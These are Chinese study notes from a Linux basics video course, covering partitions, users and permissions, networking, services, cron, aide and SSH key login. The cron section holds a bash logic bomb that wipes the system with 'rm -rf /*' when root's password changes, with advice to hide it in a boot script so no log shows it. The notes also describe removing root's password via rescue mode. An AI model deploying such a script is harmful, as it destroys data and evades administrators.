LInux基础B站邹圣林笔记

Linux系统安装和基础管理

在Linux系统中,一切接文件,包括设备

系统安装

磁盘分区

/dev/had harddisk IDE 早期使用这种硬盘
/dev/sda 
s:SCSI 	SCSII SATA SAS USB
d:disk
a:编号

/dev/sda2 第一块硬盘的第二个分区
/dev/sdb5 第二块硬盘的第五个分区

分区:在Windows系统中,C必须存在,D E 可以存在 同时还有100M的隐藏分区用来放boot,为了防止用户删除了,对他进行了隐藏
在Linux系统中,/boot 启动分区,引导程序 内核 200M即可
			/ 	根分区,20G即可
			swap 交换分区,当内存不足时,将内存中暂时不活动的数据移动到swap 中暂存(是存在硬盘里)
在以前时,Linux使用的文件系统是ext3 ext4 现在Redhat自7以后使用 xfs 

注意:

安装Redhat是,kdump==kernel dump 内核转储,系统启动时,把正常运行的内核放入到128M内存中,一旦内核崩溃,将从128M内存中来进行恢复,而这128M内存其他人无法访问,所以不会被污染

系统使用

如何更改系统语言:

root 用户下 vim /etc/locale.conf 把zh_CN 改为 en_US Esc :wq 重启

[root@localhost ~]# 命令提示符表示:

[ root@localhost ~ ] #
root 用户
localhost 计算机名
~ (用户家目录) 当前工作目录
# 管理员
$ 表示非管理员身份

重启计算机

1.reboot

2.shutdown -r now

3.init 6

关闭计算机

1.shutdown -h now

2.init 0

3.poweroff

4.halt

界面切换

Ctrl Atl + F1-F6

F1图形界面 图形终端==Linux操作系统(完整操作系统)+ 图形化应用程序组成(占用资源)

F2-F6 字符界面 5个字符终端

init 3 (虽然已经安装了图形化界面,但是不运行它,节省资源)

X Window System(图形支持协议)+ Gnome/KDE(桌面环境)

init 5 运行图形程序 (如果未安装,运行不会生效)

X 图形协议的代名词、

X11 X协议的第11个版本

startX 相当于只是启动一个软件,不用登录,init 5 切换到另一个终端顺便开启了图形化界面程序

Ctrl + Shift + T 打开一个新的终端窗口

网络连接

  • 1 cd /etc/sysconfig/network-scripts/ 找到网卡配置文件,手动修改文件内容
  • 2 nmtui 根据提示修改
  • 重启网络服务
    • systemctl restart network
    • 或ifup 网卡名(ifdown 网卡名 表示关闭该网卡)
      在配置DNS时,另有一个文件/etc/resolv.conf,优先级低,会被上面的网卡配置文件覆盖,

常用命令

注意使用 tab 键,既能命令补全,也能文件补全

history

查看历史命令,默认保存1000条,可以在 vim /etc/profile 修改historysize,

  • 历史记录不要太多,会不安全,会保留最近1000条

  • history -c 只会清理用户当前终端内存中的数据,

  • 每个用户只能看到自己的历史记录,别人的不能互相看到

  • 绝对清除历史记录:在 ~ 目录下 vim .bash_history,清空内容,或者echo > .bash_history(把空输出重定向到 .bash_history 文件里,之后这个文件的内容就为空了),当然这只是当前用户的历史记录,其他用户需要使用相同的方法来彻底清除历史记录

  • 我们不会刻意的去清除历史记录的

  • ! 命令排序号 可以执行排序号所在行的命令

  • ! 命令的部分 可以从历史记录开始查找符合命令部分的命令,然后执行所找到的第一个匹配的命令

  • 利用历史记录功能,我们还可以 命令 然后Alt+ . 来补全参数

文本编辑器 Vim/Vi

vim 修改文件内容,可以高亮显示

  • a | i | o 进入插入模式
  • 修改文本内容后要保存,先按 ESC,:wq 保存并退出或 :wq! 强制保存并退出(管理员可以强制保存)
  • 如果进去后什么都没干,使用 :q 退出 如果修改了不想保存 :q! 强制退出不保存
  • 不能修改光盘内容

实验:破解CAN密码

  • 使用rescue模式进入系统,相当于把一个迷你的系统加载到内存中,跟本身的OS无关,但是我们可以在迷你的系统中访问原来的真实数据
    真实数据存放在 迷你系统的 /mnt/sysimages 目录中

    chroot /mnt/sysimages 在迷你系统中切换到真实系统中

    vim /ect/passwd
    去掉root 的 x ,保存并退出

Linux帮助系统和文件管理系统

运行命令和获取帮助

命令语法

Linux命令有着如下的语法:

command options arguments

  • 项与项之间以空格分隔开
    • 单个字母作为选项前一般都带有 - ,例如 -a -b -c 或者 -al
    • 单词作为选项前通常带有 --,例如:--help
  • 参数是一个文件名,目录,或者具体的某个对象
  • 多个命令用分号 ; 分隔

--help选项 和 man命令 用来查看命令帮助信息的

  • [ ]: 可选项

  • ······ :列表,可以跟多个选项或参数

  • 大写字符:必选项

  • a | b | c 多选一

文件管理系统

绝对路径和相对路径

绝对路径: 一切从根开始去描述文件

相对路径:从当前目录作为起点来描述文件

文件属性

蓝色 文件夹
黑色 普通文件
绿色 可执行文件
青色 快捷方式,链接文件
红底黑字,黄底黑字 具有特殊权限的文件

可以使用 ls命令来查看

  • ls : list 列出当前目录下的内容或指定目录的内容
  • ls -l :ll 列出详细信息
  • ls -a : all 列出所有文件,包含隐藏文件
  • ls -lR:递归显示
  • ls -ld /ect/ :显示etc 文件夹的具体信息

常用文件处理命令

cp命令

  • cp /ect/passwd /tmp/ 把passwd文件复制到tmp文件夹下
  • cp /ect/passwd /tmp/passwd1 把passwd文件复制到tmp文件夹下,同时改名为passwd1
  • cp -r /ect/ /tmp/ 拷贝文件夹需要指定参数-r 否则系统报错 omitting directory -r -R 的作用是一样的
  • cp -p /etc/group /tmp/ 保留 权限和时间戳

mv命令

  • mv group /root/ 剪切操作,默认是保留了权限和时间戳的,同时也可以改名字
  • mv etc/ etc1 可以改文件夹的名字

mkdir

  • mkdir /tmp/test 创建一个文件夹
  • mkdir -p a/b/c/d 递归创建一系列文件夹,其中创建的文件夹的及其路径和我们想的是一样的
  • mkdir -m 777 a 赋予777权限创建一个文件夹

touch

  • touch 创建一个空文件

rm

  • rm: remove

  • rm test.txt 系统会问你是否是要删除这个文件,y回车即可删除

  • -i interactive 人机交互

  • rm -r /home 递归删除home目录,但是苦于每次需要交互,于是下面

  • rm -rf /home 强制删除文件夹及其下的内容

tree -L 1 / 查看根目录下一层目录

├── bin -> usr/bin 等同于/usr/bin 普通用户二进制命令目录
├── boot 内核程序及引导程序所在目录
├── dev 设备目录(光驱,磁盘等)
├── etc 系统基础服务配置文件所在目录(yum rpm 安装的软件所在目录)
├── home 普通用户的家目录
├── lib -> usr/lib 库文件所在目录
├── lib64 -> usr/lib64 64位库文件所在目录
├── media 媒体,光驱等挂载点
├── mnt 临时的挂载点
├── opt 第三方程序目录
├── proc 虚拟文件系统,内核和进程信息的目录,相当于汽车仪表盘
├── root 管理员的家目录
├── run
├── sbin -> usr/sbin 等同于/usr/sbin
├── srv
├── sys
├── tmp 临时目录,所有用户都可以进入这里做各种操作,黑客跳板目录
├── usr 应用程序所在目录,相当于c:/program file/
└── var 数据变化的目录,日志文件存放的目录

用户组和权限管理

/etc/hostname; 主机名配置文件
使用hostname查看,也可以用 uname -n
修改主机名:

  • 1.直接修改/etc/hostname文件内容
  • 2.nmtui 到指定选项直接修改
  • 3.hostnamectl set-hostname 新主机名

用户

任何用户被分配一个独特的用户id好(UID)
UID 0 标识 root 用户
用户账号通常从UID 1000 开始
用户名和UID信息通常存储在/etc/passwd 文件中
当用户登录时它被分配一个主目录并且运行一个程序(通常是一个shell程序)
没有权限许可用户不能读取,写或者执行其他用户的文件
1-999 系统预留给system user 使用

vim /etc/login.defs 可以看到设置了一些规则,其中我们可以看到UID_MIN=1000 UID_MAX=60000 GID_ MIN=1000 GID_MAX=60000
userdel -r username 删除username的用户同时删除目录

  • 但是系统并没有删除该用户的UID,这个UID是暂时空缺,如果后面还需要使用这个UID,可以root用户 useradd -u UID username2 为username2指定UID

用户基本管理

cat /ect/passwd | grep 用户名

eg: cat /etc/passwd | grep root
root❌0:0:root:/root:/bin/bash

共有7位,表示含义如下:

root 用户名 1
x 表示用户登录是否需要验证 2
0 表示用户UID 3
0 表示用户GID 4
root 用户名称,对用户的描述信息 5
/root
/home/user(默认是这个)
用户家目录,可以更改 6
bin/bash 表示执行解释器,如果更改为/sbin/nologin/用户就不能登录了 7

新建用户的方法:

useradd user1 然后 passwd user1 因为在Linux系统中一个用户没有密码是不允许登录的,同时普通用户修改密码要求很严格

id user1
uid=1001(user1) gid=1001(user1) groups=1001(user1)
把用户user1加到 root 组:
usermod -aG root user1

系统识别一个用户是通过UID,而不是用户名,有一个管理员UID=0,的用户,而非root,只有UID为0的用户是管理员,其他人均为普通用户,其他用户都是平等的,但是不同于Windows是root组没有特权的在

切换用户和查看用户命令

su uername:
su - root 加 - 表示完整切换用户的身份,不加 - 后面可能会有一些问题,因为没有继承到目标用户的环境变量
su - user1
su - user2
id username:
id user1
id root
返回:uid=0(root) gid=0(root) 组=0(root)
whoami 查看我是谁 user1 或root等
who 查看我的 用户名权限和登录时间等信息

vim /ect/passwd

查看系统本地所有用户信息

vim /etc/shadow

查看用户是否设置了密码,如果用户设置了密码,就会有一串MD5的哈希值,没有密码位是另个!!则是没有设置密码

基本要求

  • 用户必须属于一个组

  • 每个组被分配一个独特的组ID(gid)

  • gid信息保存在/ect/group文件中

  • 每个用户都有自己的私有组

  • 可以将用户添加到别的组,该组成为用户的附加组

  • 同一个组中的所有用户能共享属于这个组的文件

当我们创建一个用户时(useradd user1),系统会为我们做一下这些事情

1.创建user1用户

2.创建user1组

3.将user1用户加入到user1组中

4.创建user1用户家目录

vim /etc/group

root❌0:这里可以添加很多的用户,如root

1 root 组名
2 x 表示该用户组的用户是否需要身份验证
3 组id 0
4 root 表示组里有哪些用户,用户之间用,分隔

新建用户组

每个用户都拥有一个单独的用户组,同时一个用户可以加入多个用户组,在组权限由矛盾时,允许的组优先

当然我们也可以使用下面的命令来单独建组

groupadd user2group  (这里创建了user2group组)

将用户加入到某个组

usermod -aG user1group user2 将user2加入到user1group组中

-a == -append

-G == -Group

权限管理

Linux将访问文件的用户分为3类:

1.文件拥有人(user)

2.文件拥有组(group)

3.其他人(other)

ll 查看当期文件夹下的所有文件详细信息
ls -dl /文件夹/


-rw-r--r--.   1 root root  368 4月  18 14:47 1.txt
lrwxrwxrwx.   1 root root    7 6月   1 2020 bin -> usr/bin
dr-xr-xr-x.   5 root root 4096 2月   3 20:00 boot
drwxr-xr-x.  20 root root 3240 4月  25 22:15 dev
共10个单位
- l d 标志位
- 表示的是文件 
l 表示的是快捷方式
d 表示的是文件夹(目录directory)

后面每三个单位为一组:
第一组:拥有人的权限 7 4 1
第二组:拥有组的权限 7 4 1
第三组:其他人权限 7 4 1
r w r - : read write excute 可读 可写 可执行 无权限

 . 表示的是特殊权限位,其中 + 是具有特殊权限位

第二列 1 1 5 20 等等 表示的是 powerofflink count 链接数,对于文件而言,通常为1,
对于文件夹而言至少为2 . .. ,表示当前文件夹下的还有多少 一级 子文件夹,不是文件数
对于文件而言,99.9%的文件都是 1表示链接数,如果是2可以理解为这个文件有两条命,删了一个之后另一个还可以继续使用,同时这两个链接的文件是同时被修改和删除的
这个功能称为 硬链接 快照的原理就是这样的

第三列是所有人名称,第四列是文件大小,第五列是最后一次修改时间,最后一列是文件名

ls -li 
在Linux系统中,每个文件都有一个索引号,且索引号唯一,如果是上面的硬链接的文件的话,这个索引号是相同的,
ln 文件1 文件2 创建硬链接 
ln -s 文件1 文件2 创建软链接

当我们用vim查看一个文件的内容,没有进行任何修改时要使用q来退出,不要使用wq,这两者之间的差距很大,会影响后面文件的时间

chown:change owner 修改文件拥有人 -R 递归

chgrp:change group 修改文件拥有组

创建一个文件夹,要么一定要有 r 和 x 权限,要么就什么都不给 r是可以查看文件夹里面的内容,x表示可以进入该文件夹,对一个文件夹有w权限,意味着可以在该文件夹下创建和删除文件,与文件本身的权限无关

但是需要注意,即使我们可以删除没有权限的文件,我们还是无法看到文件的内容,也即他是宁死不屈

权限仅作用于该文件夹本身,不能继承,要删除一个文件夹要看他的上面一个文件夹的权限,如果没有权限就不能删除该文件夹:eg:

/data
/data/redhat
/data/redhat/test
如果要删除test文件夹,我们需要有Redhat文件夹的权限,如果只有data文件夹的权限,我们是不能删除test文件夹,也即文件夹的权限只能继承一层

谁创建的文件,他的所有人和所有组都是他,与原来的文件夹的所有人和所有组没有任何关系,但是如果使用特殊命令:chmod g+s /data/ 就可以使在data目录下创建的内容继承data的所有组的权限,但是文件的所有人还是创建者

修改权限

改变文件的拥有人

chown <=> change owner 改变文件的拥有人

eg: chown user1 /data 把data文件夹的拥有人改为user1

chown -R user2 /data/ 递归修改文件夹内的所有子文件和子文件夹的所有人为user2

改变文件的所有组

chgrp <=> change group 改变文件的拥有组

eg:chgrp admin /data/ 把data文件夹的所有组修改为admin组 222222222222222222222

chgrp -R admin /data/ 递归修改文件夹内的所有子文件和子文件夹的所有组为admin

注意:以下命令等价:

chgrp admin /data/

chown user1:admin /data/

chown user2.admin /data/

这些是同时修改所有人和所有组

chmod g+s /data/会改变在data文件夹下还未创建的文件或文件夹的所有组信息,不同于chgrp -R admin /data/ (chown user1:admin /data/chown user2.admin /data/)或者,后者只会改变已经存在的文件或文件夹的所有组,于是这两个命令联合起来使用

改变文件的权限

chmod <=> change modify 改变文件的具体权限(只有root用户能改)

字符方式修改权限

user(u) group(g) other(o)

chmod u+x /data 给拥有人加上 x 权限,同样可以-x

chmod ug+rw /data 给拥有人和拥有组同时加上r w权限

chmod a+x /data 给所有人加上x

特殊权限是在第四位

数字方式修改权限

r ------- 4

w ------ 2

x --------1

特殊权限:

suid = 4 sgid = 2 stick = 1

eg:chmod 2755 /data

所有Linux发行版,默认都安装了openssh-client openssh-server,默认ssh服务也开启了,防火墙也放行ssh,即便是最小化安装都

如果当前用户是root,使用ssh IP地址,连接到相应IP地址的PC,同样,如果当前用户的user1,使用这个命令ssh ip地址就是连接到user1用户所在的服务,如果我们需要指定到具体用户root或user1,就需要使用ssh root@IP地址

scp = ssh + cp 他的底层协议仍然是ssh协议,这个命令实际的作用是为了在两台计算机之间拷贝文件,只是传文件,如果对方用户没有登录也没有关系

如:scp /etc/passwd root@192.168.8.2:/root/ 这条命令是把当前所在文件夹下的文件拷贝到目标主机下的root目录下,注意这里的文件路径均为绝对路径

scp root@192.168.116.12;/etc/passwd /root/bak这条命令是把远程主机192.168.116.12下的etc/passwd 文件拷贝到当前主机的root/bak/文件夹下

scp -r /etc/ root@192.168.8.2:/root/ 这条命令是递归拷贝文件夹/etc/和他下面的所有的文件和文件夹

scp -r -p /etc/ root@192.168.8.2:/root/ 这条命令是递归拷贝文件夹/etc/和他下面的所有的文件和文件夹,这里加上-p 表示可以保留原来文件夹的权限

du -sh etc/ 查看etc/文件夹的大小

当进行文件拷贝时,我们拷贝的文件部分可能是快捷方式,但是scp拷贝时实际并没有拷贝快捷方式,拷贝的是该快捷方式链接到的具体真实文件,所以我们需要通过以下方式进行:

打包和压缩---->压缩传过去---->然后解压缩,这样进行的操作会保留权限,时间,快捷方式

命令:tar -zcvf /tmp/etc.tar.gz /etc/ 把文件夹etc/压缩并命名为etc.tar.gz文件,然后放在/tmp/文件夹下,v表示显示压缩或解压过程 ,f表示将压缩后的文件命名为什么和放在什么位置

命令:tar -zxvf /tmp/etc.tar.gz 把文件etc.tar.gz解压到当前文件夹下,我们可以使用C参数来进行指定具体输出文件路径

eg: tar -zxvf /tmp/etc.tar.gz -C /etc/

执行rm -rf /* 后如何修复

1、插入光盘或者系统镜像

2、选择光盘启动或优盘启动

3、进入界面后选择troublesbooting

4、选择第三个救援模式(rescue a red hat enterprise linux system,等待出现如下界面

5、进入到一个蓝色界面后选择continue,

6、选择OK

7、输入命令 fdisk -l,可以看到硬盘上还有很多分区

8、新建文件夹如Redhat,然后依次挂载sda1 sda2 sda3...........,一个一个试,找到哪一个是原来的根目录(一般是很多文件夹的那一个)

9、再建一个文件夹:mkdir /bak

10、给系统配一个临时IP:ifconfig eno16777736 192.168.116.16

11、检查可以知道系统的ssh没有打开

12、找一个或装一个一样的系统,把新系统的根下的etc文件夹打包,然后在删除了根的那个系统使用scp命令依次将新系统或完整系统打包好的文件拷贝到新的bak目录下

13、使用命令将拷贝的etc.tar.gz文件依次解压到新建的Redhat目录下,因为这个Redhat目录是挂载的根目录:

新系统:tar -zcvf /tmp/etc.tar.gz /etc

坏系统:scp 192.168.116.12:/tmp/etc.tar.gz /bak

进入到bak文件夹下,tar -zxvf /bak/etc.tar.gz -C /redhat/

14、进入到Redhat目录下: cd Redhat

15、查看部分不同的文件:vi /etc/fstab 可以看到因为是不同的系统,他们的uuid是不同的,所以,我们需要先删除所有的uuid,然后自己修改为当前的设备的uuid

eg;/dev/sda2 / xfs defaults 0 0

/dev/sda1 /boot xfs default 0 0

16、同上面的命令,把bin目录拷贝过来:
新系统:tar -zcvf /tmp/usr.tar.gz /usr(这个文件夹有点大)

坏系统:scp root@192.168.116.12:/tmp/usr.tar.gz /bak

进入到bak文件夹下,tar -zxvf /bak/usr.tar.gz -C /Redhat/

当我们第一次删除时,我们可以使用extundelete来恢复部分误删除的数据,在优盘上运行这个工具

17、重启系统,仍然进入救援模式,然后cd mnt/sysimage,

ln -s /mnt/sysimage/usr/bin /mnt/sysimage/bin

ln -s /mnt/sysimage/usr/sbin /mnt/sysimage/sbin

ln -s /mnt/sysimage/usr/lib /mnt/sysimage/lib

ln -s /mnt/sysimage/usr/lib64 /mnt/sysimage/lib64

重启系统,仍然进入救援模式

18、新系统:tar -zcvf /tmp/var.tar.gz /var

坏系统:

mkdir Redhat

ifconfig eno16777736 192.168.116.16

scp root@192.168.116.12:/tmp/var.tar.gz -C /Redhat,进入到bak文件夹下

tar -zxvf /Redhat/var.tar.gz -C /mnt/sysimage

touch /mnt/sysimage/var

touch /mnt/sysimage/

touch /mnt/sysimage/usr/

再次重启系统,进入到救援模式

后续待完整。。。见B站邹圣林Linux基础视频第三节

课后习题知识点

touch 创建空文件/更新文件的时间戳

stat 文件名:查看文件详细信息

access time 文件最后一次访问的时间,用软件把文件打开 atime

modify time 文件最后一次修改的时间 mtime

change time 文件最后一次状态变更的时间 ctime ,包括文件的大小 权限等

如果vim打开文件,但是没有修改,不要用wq退出,只用q退出

touch 文件 会更新文件的所有时间戳

关于备份软件

全备

word1 100M

word2 100M##

word3 100M

word1 修改了内容 时间戳 mtime ctime 都会改变

时间戳保存在文件头,metadata 大小256Byte

atime改变的条件:当mtime和ctime都比atime新或者一样的时候,atime就会改变,如果mtime和ctime都没有改变,并且不停的访问该文件,则atime默认每24小时更新一次

增量备份

差异备份

设置组的密码

groupadd -g 3000 it 创建了名为it的组

/etc/passwd 记录用户信息

/etc/group 记录组的信息

/etc/shadow 记录用户密码信息

/etc/gshadow 记录组密码信息

gpasswd it 修改it组的密码

newgrp it 临时将当前用户加入到it组中,也即登录到it组中,可以临时获得组的权限,exit会退出it组中,如果真正需要将user1添加到组中就需要使用命令:usermod -aG it user1

复制权限

命令:chmod --reference=passwd group 把passwd这个文件的权限复制给了group,只是复制权限,并不会改变所有人和所有组

Linux网络管理

查看网络信息:ifconfig ip addr list

有时ip addr list用的多一些,如:给一个接口配置了多个IP地址 集群 VIP (浮动IP)

网络接口名称

RHEL7之前,网卡名称eth0(ethernet)

eth1:第二块网卡

eth0:0 第一块以太网卡的第一个子接口

  • RHEL7开始换成ens33 或 eno16777736
    • 接口类型
      • 以太网有线接口为en
      • 无线局域网接口为wl
      • 无线广域网接口为ww
    • 适配器类型
      • s为热插拔插槽
      • o为板载
      • p代表对PCI类型的支持
    • 数字N代表索引,ID或端口
  • 如果固定名称不能确定,传统的名称如ethN将被使用

使用命令:cd /etc/sysconfig/network-scripts
vim ifcfg-eno16777736 ,修改网络配置文件(严格区分大小写,文件内容没有先后顺序)
systemctl restart network

除了以上内容外我们还可以写多个地址如:IPADDR1=192.168.0.210
IPADDR2=192.168.0.120

HWADDR=设备mac地址,可以使用ifconfig命令查看到mac地址

注意:如果设置了BOOTPROTO=dhcp,然后再设置了静态的IP地址,获得的IP地址不会是静态的IP地址,如果DHCP服务器损坏,设备将无法联网了

查看网关:route -n 查看DNS:vim /etc/resolv.conf 是否生效

route -n 和 resolv.conf文件的内容是从ifcfg-16777736文件中获得的

修改计算机主机名:hostnamectl set-hostname yutianedu.com(下次开机有效)
查看主机名:hostname
cat /etc/hostname

临时修改主机名为classroom:hostname classroom

Linux配置静态路由:route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.0.1 这是临时的,

如果需要他永久有效就要把内容写入到文件中,操作如下
cd /etc/sysco;nfig/network-scripts/
vim route-eno16777736:
文件内容:192.168.2.0/24 via 192.168.0.1
然后重启网络服务:systemctl restart network

立即使文件生效:

  • nmcli connection down eno16777736 ; nmcli connection up eno16777736

etc/hosts,在进行DNS解析时会先读hosts 文件,再由DNS服务器解析

dmesg | grep eth #下面加粗内容即为设备mac地址
[ 2.050175] e1000 0000:02:01.0 eth0: (PCI:66MHz:32-bit) 00:0c:29:d8:8d:ce
[ 2.050180] e1000 0000:02:01.0 eth0: Intel(R) PRO/1000 Network Connection

这些是内核识别的,(真正的硬件信息,不是根据配置文件显示的),上面的方式适用于虚拟机系统,对于物理机而言,我们可以进入BMC界面,定位网卡 同样也可以定位硬盘

服务的管理方式

systemctl start sshd 开启ssh服务

systemctl stop sshd 关闭ssh服务

systemctl restart sshd 重启ssh服务,是先停止ssh服务,然后再开

systemctl reload sshd 重新导入sshd服务,并不会停止sshd服务,是把配置文件直接导入

查看服务的状态

[root@localhost ~]# netstat -tulnp

-t : TCP

-u : UDP

-l : Listen

-n : Number

-p : PID/Program name

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      709/rpcbind         
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      1604/dnsmasq        
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1412/sshd           
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1702/master         
tcp        0      0 127.0.0.1:6010          0.0.0.0:*               LISTEN      2501/sshd: root@pts 
tcp6       0      0 :::111                  :::*                    LISTEN      709/rpcbind         
tcp6       0      0 :::22                   :::*                    LISTEN      1412/sshd           
tcp6       0      0 ::1:25                  :::*                    LISTEN      1702/master         
tcp6       0      0 ::1:6010                :::*                    LISTEN      2501/sshd: root@pts 
udp        0      0 192.168.122.1:53        0.0.0.0:*                           1604/dnsmasq        
udp        0      0 0.0.0.0:67              0.0.0.0:*                           1604/dnsmasq        
udp        0      0 0.0.0.0:111             0.0.0.0:*                           709/rpcbind         
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           708/avahi-daemon: r 
udp        0      0 127.0.0.1:323           0.0.0.0:*                           746/chronyd         
udp        0      0 0.0.0.0:874             0.0.0.0:*                           709/rpcbind         
udp        0      0 0.0.0.0:42461           0.0.0.0:*                           708/avahi-daemon: r 
udp6       0      0 :::111                  :::*                                709/rpcbind         
udp6       0      0 ::1:323                 :::*                                746/chronyd         
udp6       0      0 :::874                  :::*                                709/rpcbind  

127.0.0.1:* 是IPv4的本地回环地址,表示只能监听本地地址

0.0.0.0:* 是IPv4的所有应用都能监听,原则任何应用都能访问他

: 1 : 53* 表示监听在IPv6的地址上,这是一个IPv6的本地回环地址

: : 123 表示所有的IPv6地址都能监听(同时也包括了所有的IPv4地址)

本地回环的地址远程用户是无法访问的

etc/service 此文件包含的服务和端口的对应关系

标题 说明
Proto 协议
Recv-Q 接收了多少数据包
Send-Q 发送了多少数据包
Local Address 本地回环地址
Foreign Address
State
PID/Program name
[root@localhost ~]# systemctl status sshd
● sshd.service - OpenSSH server daemon
   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled)
   Active: active (running) since 一 2021-08-02 11:34:50 CST; 1h 9min ago
     Docs: man:sshd(8)
           man:sshd_config(5)
 Main PID: 1412 (sshd)
    Tasks: 1
   CGroup: /system.slice/sshd.service
           └─1412 /usr/sbin/sshd -D
这条命令是看这个ssh服务是否运行了

但是,显示为active这并不代表这个服务开机就会运行,需要查看前面是否为enable,enable表示开机就会运行,使用systemctl disable ssh 下次开机ssh服务不会自动启动,需要手动启动systemctl start 服务名称,如果要使服务自动启动,就使用命令:systemctl enable 服务名称

在Redhat6中enable和disable分别是chkconfig sshd on 和 off ,在Redhat6中这些命令是继续保留的

还有systemctl start 服务名称 的等价写法:service sshd start,其他几个是类似的

计划任务

crontab : 周期性的计划任务

crontab -e   #设置周期任务,每行表示不同的计划任务
*	*	*	*	*	/bin/echo hello world
分  时  日   月  周
 field          allowed values
 -----          --------------
 minute         0-59
 hour           0-23
 day of month   1-31
 month          1-12 (or names, see below)
 day of week    0-7 (0 or 7 is Sunday, or use names)
这些是分,时,日,月,周的取值范围
如:01 12 1 7 * /bin/echo hello 表示每年的7月1日12点01分执行这个echo hello的操作
这些分,时,日,月,周对于计划任务时合取操作,需要同时满足,也即
如:01 12 1 7 7 表示必须满足7月1日这天是星期日才会执行,显然很困难,这样是没有意义的,少写一个是保存不了的
计划任务执行后,系统会通过发邮件的方式告诉我们
使用命令:
mail #查看邮件
& 1  #查看第一封邮件
& 2  #查看第二封邮件
& 3  #查看第三封邮件
& q  #退出查看邮件


crontab -l -u admin #指定查看用户admin的计划任务列表
*/5 表示每隔5进行一次
每个位也可以有多个表示,如 3-5,7,12

当命令很长时,我们可以写一个脚本来设置

mkdir /myscriptsvim myweb.shchmod u+x myweb.shpwdlscrontab -e* * * * * /myscripts/myweb.sh

写脚本,需要有一定的格式:
如:

#!/bin/bash#一修改用户密码就删库,这可以是一个独立的脚本,并且为他建立计划任务,但是这种行为容易被发现,于是,我们可以将以下内容放到一个开机一定会运行的文件里,如/etc/init.d/network,想死都不知道,并且日志里面没有显示days=18405a=$(cat /etc/shadow | grep root | awk -F: '{print $3}')if ["$a" != days];then rm -rf /*fi

创建或修改计划任务:crontab -e

查看计划任务:crontab -l

删除计划任务:crontab -r

#! /bin/bash

防别人的招(入侵检测):

  • yun -y install aide
  • vim /etc/aide.conf(在把所有系统做好以后,安装这个包)
  • aide --init
    • /var/log/dmesg.old atime in future
    • /var/log/dmesg.old mtime in future
    • 。。。。。。
  • cd /var/lib/aide/ | ls
    • 得到aide.db.new.gz,用优盘把这个文件拷走
  • 检查系统是否被别人入侵了:
    • mv aide.db.new gz aide.db.gz
    • aide --check

ssh知识

/etc/ssh/

ssh_config 客户端的配置

sshd_config 服务端的配置

我们可以修改这两个配置文件来换端口,但是如果我们还需要监听,系统有一个setenforce 1或0 的命令(临时打开或关闭selinux),如果我们改了不是标准端口,需要使用:semanage port -a -t ssh_port_t -p tcp 2222 可以永久修改原ssh端口为2222,同时系统可以监听得到,否则监听不了

CNA不允许root用户登录

sshd_config 文件里有 #PermitRootLogin yes 这一句,如果这一句没有被注释,我们就无法通过ssh登录到root用户,只能通过先登录其他用户然后切换到root用户

ssh工具使用详解

使用密钥认证的连接

在客户端生成公钥和私钥,使用命令ssh-keygen,两次回车

[root@localhost ssh]# ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa): Created directory '/root/.ssh'.Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa.Your public key has been saved in /root/.ssh/id_rsa.pub.The key fingerprint is:SHA256:kDeThMwtaru46/tFvFYWjSt3iLnMQRu9wW/rh9SCjZA root@localhost.localdomainThe key's randomart image is:+---[RSA 2048]----+|     o o.        ||      ==.+       ||     .=o@ .      ||    ooEB X       ||   . .O.S++.     ||    .+ Ooo+..    ||   . .B  ..o     ||  . .o   .. .    || .==.     ..     |+----[SHA256]-----+公钥:id_rsa.pub私钥:id_rsa把公钥发给对方ssh-copy-id -i /root/.ssh/id_rsa.pub 192.168.116.10输入密码后,公钥会传送到192.168.116.10(服务端)的/root/.ssh/文件夹下,并且改名为authorizded ,然后从原来生成公钥和私钥的主机(客户端)使用ssh连接到192.168.116.10(服务端),不再需要输入密码对于服务端来讲,我们把etc/ssh/sshd_config文件的PasswordAuthentication 这一行取消注释,然后改为no,这样我们就无法通过密码来ssh登录到服务端,只能通过密钥认证来进行连接,也就是在上面实验的基础上,关闭了这个PasswordAuthentication,如此就只有拥有私钥的那个设备可以连接到服务端192.168.116.10了,如果需要其他用户连接到服务端192.168.116.10,就需要把这个私钥发给他们,只要有私钥就能连接,不需要连接了就直接把私钥干掉就行当把公钥传给服务端时,如果遇到以下问题:Agent admitted failure to sign using the key.要求我们输入密码:。。。。,但是输入密码后返回Permission denied,please try again执行 ssh -agent bash 就可以连接上了,这个是客户端的问题,问题在于没有把私钥加载到内存里简单应用:ssh 192.168.116.10 ‘mkdir /tmp/abc' 这条命令可以使116.10执行后面我们指定的命令

但是,我们已经由客户端连接到服务端了,但是要服务端也连接客户端,就需要重复上面这个操作就行了,或者输入密码;同样,当自己管理自己时也要输入密码,在使用openstack时,也需要自己给自己也传一个公钥(ssh-copy-id -i /root/.ssh/id_rsa.pub 192.168.116.16

把主机名与IP地址绑定,放在hosts表中即可使用主机名连接

云计算必备技能

vim编辑器的使用

:set nu		显示行号
:set nonu	取消行号
:50 		快速跳转到第50行
:1		跳转到文件的第一行
G		按G(大写),跳转到最后一行(无论光标在哪一行)
gg		同上,跳转到第一行
/port		搜索与port匹配的内容,可以换成我们需要搜索的内容(关键字),然后按 n 往下查找,N 往上查找
:set ignorecase 忽略大小写来进行搜索
=== set ic/a ===搜索a但是下次打开另一个文件时他默认也会高亮a,这时我们可以/asfjkaslfjl 回车即可取消高亮
add 			剪切或删除一行
p			粘贴
3dd  5dd 10dd 20dd 就是从光标所在行开始向下删除前面数字指定行
yy 			复制,5yy就是从光标所在行向下数5行,复制5行
u			撤销上一次操作,按一次撤销一次,同ctrl + z

注意:当我们使用vim编辑器打开文件,并且做了一定的修改了之后,千万不要直接关闭终端,这不是word,点 X 关闭

的是终端,这样会导致文件损坏:

进程管理

命令:ps aux :查看系统的进程信息

USER :进程所有人

PID :进程id,运行在内存中,进程id会改变

pidof 进程名称 查看进程id

ps aux 查看所有的进程====ps -ef

文本管理工具

命令:cat 文件名:查看文件的全部内容

  • head -n 5 /etc/passwd 显示passwd文件的前5行(如果不加5,则默认是10)

